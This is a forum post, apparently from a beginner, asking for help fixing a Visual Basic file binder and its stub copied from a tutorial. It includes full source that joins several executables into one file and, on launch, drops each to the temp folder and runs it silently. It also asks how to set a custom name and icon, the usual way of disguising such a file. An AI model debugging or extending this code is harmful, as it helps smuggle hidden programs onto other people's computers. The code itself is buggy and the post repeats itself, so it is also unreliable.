Hey guys,
I started my first 'VB steal from youtube project' and it didnt work out well......
I followed this tutorial:
and everytime when i bind something i get this:
Project one (title) (error text) runtime error 55 file already open
(i also cant find the file on my computer but i can open it in vb :S)
is here someone who can make it work?
This is the Binder.exe Code itself:
This is the Stub.exe Code (you need that to make it work)
and one thing: when i press bind -> the name will be BindedFile.exe
Is there a way to set a name (and set icon would be great to)
I started my first 'VB steal from youtube project' and it didnt work out well......
I followed this tutorial:
and everytime when i bind something i get this:
Project one (title) (error text) runtime error 55 file already open
(i also cant find the file on my computer but i can open it in vb :S)
is here someone who can make it work?
This is the Binder.exe Code itself:
Code:
Const FileSplit = "<#<@>#>"
Private Sub cmdAdd_Click()
With Dlg
.DialogTitle = "Selecteer bestand"
.ShowOpen
End With
lsFiles.AddItem (Dlg.FileName)
End Sub
Private Sub cmdBind_Click()
Dim sstub As String, sfiles As String, i As Integer
Open App.Path & "\stub.exe" For Binary As #1
sstub = Space(LOF(1))
Get #1, , sstub
Close #1
Open App.Path & "\BindedFile.exe" For Binary As #1
Put #1, , sstub & FileSplit
For i = o To lsFiles.ListCount - 1
Open lsFiles.List(i) For Binary As #2
sfiles = Space(LOF(2))
Get 2, , sfiles
Close #2
Put #1, , sfiles & FileSplit
Next i
Close #1
MsgBox "De bestanden zijn succesvol aan elkaar verbonden!"
End Sub
Private Sub Command1_Click()
lsFiles.RemoveItem Index
End Sub
This is the Stub.exe Code (you need that to make it work)
Code:
Const FileSplit = "<#<@>#>"
Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal LpOperation As String, ByVal lPfile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
Private Sub Form_Load()
Dim stub As String, Files() As String, i As Integer
Open App.Path & "\" & App.EXEName & ".exe" For Binary As #1
stub = Space(LOF(1))
Get #1, , stub
Close #1
Files = Split(stub, FileSplit)
For i = 1 To UBound(Files())
Open Environ("tmp") & "\tmp" & i & ".exe" For Binary As #1
Put #1, , Files(i)
Call ShellExecute(o, vbNullString, Environ("tmp") & "\tmp" & i & ".exe", vbNullString, vbNullString, vbNormalFocus)
Next i
End
End Sub
and one thing: when i press bind -> the name will be BindedFile.exe
Is there a way to set a name (and set icon would be great to)